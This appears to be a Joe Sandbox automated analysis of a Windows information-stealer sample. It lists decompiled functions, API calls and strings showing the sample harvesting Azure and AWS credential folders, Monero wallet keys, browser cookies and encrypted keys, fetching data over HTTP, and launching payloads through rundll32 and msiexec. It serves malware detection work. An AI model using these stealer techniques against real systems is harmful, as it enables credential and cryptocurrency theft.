
Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 0e13d1cdf948b876216a8a99af23b02272ad1f6c993d3999c11b1c02a54b5ef5
Instruction ID: c45ac9858e28028cc839a22ae456fa6b23178a09cc080b7d535e9b301d89fe09
Opcode Fuzzy Hash: 0e13d1cdf948b876216a8a99af23b02272ad1f6c993d3999c11b1c02a54b5ef5
Instruction Fuzzy Hash: F78111B191011C9BDB28DB54CD95FEA77B8BF48704F1082D9F20966180DF786B88CFA9

Function 004F91A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004F91FC

Strings

`dOF, xrefs: 004F91CF, 004F9399, 004F91D2, 004F939C
image/jpeg, xrefs: 004F92C6
`dOF, xrefs: 004F9361, 004F93D9, 004F930E, 004F92DF, 004F92B2, 004F920D, 004F91E4, 004F9364

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: `dOF$`dOF$image/jpeg
API String ID: 2244384528-1895992159
Opcode ID: 7d2ace3e2c0a708697e40fe43f9cb03c3542480bab1f0946a770b2c6246c0193
Instruction ID: c36ca69af8ec4e112010f8847b0ea09fa0f6ba1f3936627320ec32f2574ac8a8
Opcode Fuzzy Hash: 7d2ace3e2c0a708697e40fe43f9cb03c3542480bab1f0946a770b2c6246c0193
Instruction Fuzzy Hash: AD71E17191020CABDB14EFE5DC85FEEB778BF88701F108609F616A7290DB38A904CB64

Function 004F4FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004F8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004F8F9B

lstrcat.KERNEL32(?,00000000), ref: 004F5000
lstrcat.KERNEL32(?,\.azure\), ref: 004F501D

Part of subcall function 004F4B60: wsprintfA.USER32 ref: 004F4B7C
Part of subcall function 004F4B60: FindFirstFileA.KERNEL32(?,?), ref: 004F4B93

lstrcat.KERNEL32(?,00000000), ref: 004F508C
lstrcat.KERNEL32(?,\.aws\), ref: 004F50A9

Part of subcall function 004F4B60: StrCmpCA.SHLWAPI(?,00500FC4), ref: 004F4BC1
Part of subcall function 004F4B60: StrCmpCA.SHLWAPI(?,00500FC8), ref: 004F4BD7
Part of subcall function 004F4B60: FindNextFileA.KERNEL32(000000FF,?), ref: 004F4DCD
Part of subcall function 004F4B60: FindClose.KERNEL32(000000FF), ref: 004F4DE2

lstrcat.KERNEL32(?,00000000), ref: 004F5118
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004F5135

Part of subcall function 004F4B60: wsprintfA.USER32 ref: 004F4C00
Part of subcall function 004F4B60: StrCmpCA.SHLWAPI(?,005008D3), ref: 004F4C15
Part of subcall function 004F4B60: wsprintfA.USER32 ref: 004F4C32
Part of subcall function 004F4B60: PathMatchSpecA.SHLWAPI(?,?), ref: 004F4C6E
Part of subcall function 004F4B60: lstrcat.KERNEL32(?,0145E758), ref: 004F4C9A
Part of subcall function 004F4B60: lstrcat.KERNEL32(?,00500FE0), ref: 004F4CAC
Part of subcall function 004F4B60: lstrcat.KERNEL32(?,?), ref: 004F4CC0
Part of subcall function 004F4B60: lstrcat.KERNEL32(?,00500FE4), ref: 004F4CD2
Part of subcall function 004F4B60: lstrcat.KERNEL32(?,?), ref: 004F4CE6
Part of subcall function 004F4B60: CopyFileA.KERNEL32(?,?,00000001), ref: 004F4CFC
Part of subcall function 004F4B60: DeleteFileA.KERNEL32(?), ref: 004F4D81

Strings

msal.cache, xrefs: 004F5140
*.*, xrefs: 004F5028
\.IdentityService\, xrefs: 004F5129
*.*, xrefs: 004F50B4
Azure\.IdentityService, xrefs: 004F513B
Azure\.azure, xrefs: 004F5023
Azure\.aws, xrefs: 004F50AF
\.aws\, xrefs: 004F509D
\.azure\, xrefs: 004F5011

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 31b5a893363f1d662ea48a0c85e1c1a051dcd536471b157ad42b53023e97b76c
Instruction ID: 46c8321108ffa5115bbd886042f9f57c432b6ccc8fe8e3956e81e1e008ec936c
Opcode Fuzzy Hash: 31b5a893363f1d662ea48a0c85e1c1a051dcd536471b157ad42b53023e97b76c
Instruction Fuzzy Hash: EF41D7BAA4030867DB14F770DC57FED37386B54704F004599B289660C1EEB86BD8CB96

Function 004F3080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

ShellExecuteEx.SHELL32(0000003C), ref: 004F3415
ShellExecuteEx.SHELL32(0000003C), ref: 004F35AD
ShellExecuteEx.SHELL32(0000003C), ref: 004F373A

Strings

.msi, xrefs: 004F35E8
/passive, xrefs: 004F36AB
.dll, xrefs: 004F3435
<, xrefs: 004F36E0
C:\Windows\system32\rundll32.exe, xrefs: 004F3582
C:\Windows\system32\msiexec.exe, xrefs: 004F370F
"" , xrefs: 004F32EA
/i ", xrefs: 004F3634

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 76bb051041a2ac82a6820d443307e056bf68974004faecd21a97f1ca6d415992
Instruction ID: 716a76b9acf6fa877c2592bee2aad380d89ca30dc52d7a1f2da24df46153d70f
Opcode Fuzzy Hash: 76bb051041a2ac82a6820d443307e056bf68974004faecd21a97f1ca6d415992
Instruction Fuzzy Hash: 1C1210B191010C9ACB14EB91DDA2FFEB739AF14304F00459EF30A66195EF386B59CB69

Function 004E9BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004E9A50: InternetOpenA.WININET(00500AF6,00000001,00000000,00000000,00000000), ref: 004E9A6A

lstrcat.KERNEL32(?,cookies), ref: 004E9CAF
lstrcat.KERNEL32(?,005012C4), ref: 004E9CC1
lstrcat.KERNEL32(?,?), ref: 004E9CD5
lstrcat.KERNEL32(?,005012C8), ref: 004E9CE7
lstrcat.KERNEL32(?,?), ref: 004E9CFB
lstrcat.KERNEL32(?,.txt), ref: 004E9D0D
lstrlen.KERNEL32(00000000), ref: 004E9D17
lstrlen.KERNEL32(00000000), ref: 004E9D26

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Strings

cookies, xrefs: 004E9CA3
.txt, xrefs: 004E9D01
localhost, xrefs: 004E9BF5
/devtools, xrefs: 004E9C0B
ws://localhost:9229, xrefs: 004E9C3C

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$InternetOpenlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 3174675846-3542011879
Opcode ID: f55ac707fac376d46c5cfe3964fcb1118d816295d95a1440108bfb379572edd3
Instruction ID: d2cfe148f3c1a9008ecdcc6a5a119b02d2c09c750bf2249e82660868285aea12
Opcode Fuzzy Hash: f55ac707fac376d46c5cfe3964fcb1118d816295d95a1440108bfb379572edd3
Instruction Fuzzy Hash: 44516171910508ABCB14EBE5DC55FEE7738AF54306F40415DF20AA70D0EB786A48CF65

Function 004F5510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004E62D0: InternetOpenA.WININET(00500DFF,00000001,00000000,00000000,00000000), ref: 004E6331
Part of subcall function 004E62D0: StrCmpCA.SHLWAPI(?,0145E888), ref: 004E6353
Part of subcall function 004E62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004E6385
Part of subcall function 004E62D0: HttpOpenRequestA.WININET(00000000,GET,?,0145E208,00000000,00000000,00400100,00000000), ref: 004E63D5
Part of subcall function 004E62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004E640F
Part of subcall function 004E62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004E6421

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004F5568
lstrlen.KERNEL32(00000000), ref: 004F557F

Part of subcall function 004F8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004F8FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 004F55B4
lstrlen.KERNEL32(00000000), ref: 004F55D3
lstrlen.KERNEL32(00000000), ref: 004F55FE

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Strings

ERROR, xrefs: 004F5609
ERROR, xrefs: 004F56BF
ERROR, xrefs: 004F555A
ERROR, xrefs: 004F5682
ERROR, xrefs: 004F56F9

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 32f1d8585695dd8dc593917a044dafecfec9d23151c3db2bf1cf29780e99c632
Instruction ID: b818d7b3593be4a17a9781b193334feab6971020d4c47d9689fd537b978b5f41
Opcode Fuzzy Hash: 32f1d8585695dd8dc593917a044dafecfec9d23151c3db2bf1cf29780e99c632
Instruction Fuzzy Hash: A8514CB091010C9BCB18FF61CDAAAFD3779AF50349F50441EE70A57591EB386B18CB6A

Function 004F1520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: afc5f61ebfe213f4af73ed6d361dd2990b944d80736e994225e5100cfaacb64a
Instruction ID: 7bb5bb3c69ea19b0cc19cac213274b05af69e0ecc14a157c87ac401381677fe1
Opcode Fuzzy Hash: afc5f61ebfe213f4af73ed6d361dd2990b944d80736e994225e5100cfaacb64a
Instruction Fuzzy Hash: BAC1A4B590010D9BCB14EF60DC99FEE7379AF54308F00459EF60997281DA78EA94CFA5

Function 004F44D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004F8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004F8F9B

lstrcat.KERNEL32(?,00000000), ref: 004F453C
lstrcat.KERNEL32(?,0145E358), ref: 004F455B
lstrcat.KERNEL32(?,?), ref: 004F456F
lstrcat.KERNEL32(?,0145D3F0), ref: 004F4583

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004F8F20: GetFileAttributesA.KERNEL32(00000000,?,004E1B94,?,?,0050577C,?,?,00500E22), ref: 004F8F2F

Part of subcall function 004EA430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004EA489

Part of subcall function 004EA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004EA13C
Part of subcall function 004EA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004EA161
Part of subcall function 004EA110: LocalAlloc.KERNEL32(00000040,?), ref: 004EA181
Part of subcall function 004EA110: ReadFile.KERNEL32(000000FF,?,00000000,004E148F,00000000), ref: 004EA1AA
Part of subcall function 004EA110: LocalFree.KERNEL32(004E148F), ref: 004EA1E0
Part of subcall function 004EA110: CloseHandle.KERNEL32(000000FF), ref: 004EA1EA

Part of subcall function 004F9550: GlobalAlloc.KERNEL32(00000000,004F462D,004F462D), ref: 004F9563

StrStrA.SHLWAPI(?,0145E100), ref: 004F4643
GlobalFree.KERNEL32(?), ref: 004F4762

Part of subcall function 004EA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>ON,00000000,00000000), ref: 004EA23F
Part of subcall function 004EA210: LocalAlloc.KERNEL32(00000040,?,?,?,004E4F3E,00000000,?), ref: 004EA251
Part of subcall function 004EA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>ON,00000000,00000000), ref: 004EA27A
Part of subcall function 004EA210: LocalFree.KERNEL32(?,?,?,?,004E4F3E,00000000,?), ref: 004EA28F

lstrcat.KERNEL32(?,00000000), ref: 004F46F3
StrCmpCA.SHLWAPI(?,005008D2), ref: 004F4710
lstrcat.KERNEL32(00000000,00000000), ref: 004F4722
lstrcat.KERNEL32(00000000,?), ref: 004F4735
lstrcat.KERNEL32(00000000,00500FA0), ref: 004F4744

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 38314b373589503cb70e8b9b76d34036a3bcbb1da58224b5c9c74c703cb9f0f3
Instruction ID: 1b44e037558b9f8faf49e2634e9ff825e30199d3e7831afa09a3c8c69f58e4a0
Opcode Fuzzy Hash: 38314b373589503cb70e8b9b76d34036a3bcbb1da58224b5c9c74c703cb9f0f3
Instruction Fuzzy Hash: 6A7177B6900208ABDF14EBA1DD45FEE7379AF88304F00859DF605A6181EB38EB58CF55

Function 004E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004E12B4
Part of subcall function 004E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 004E12BB
Part of subcall function 004E12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004E12D7
Part of subcall function 004E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004E12F5
Part of subcall function 004E12A0: RegCloseKey.ADVAPI32(?), ref: 004E12FF

lstrcat.KERNEL32(?,00000000), ref: 004E134F
lstrlen.KERNEL32(?), ref: 004E135C
lstrcat.KERNEL32(?,.keys), ref: 004E1377

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004F8CF0: GetSystemTime.KERNEL32(00500E1B,0145A610,005005B6,?,?,004E13F9,?,0000001A,00500E1B,00000000,?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004F8D16

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 004E1465

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004EA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004EA13C
Part of subcall function 004EA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004EA161
Part of subcall function 004EA110: LocalAlloc.KERNEL32(00000040,?), ref: 004EA181
Part of subcall function 004EA110: ReadFile.KERNEL32(000000FF,?,00000000,004E148F,00000000), ref: 004EA1AA
Part of subcall function 004EA110: LocalFree.KERNEL32(004E148F), ref: 004EA1E0
Part of subcall function 004EA110: CloseHandle.KERNEL32(000000FF), ref: 004EA1EA

DeleteFileA.KERNEL32(00000000), ref: 004E14EF

Strings

\Monero\wallet.keys, xrefs: 004E138D
.keys, xrefs: 004E136B
SOFTWARE\monero-project\monero-core, xrefs: 004E1335
wallet_path, xrefs: 004E1330

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
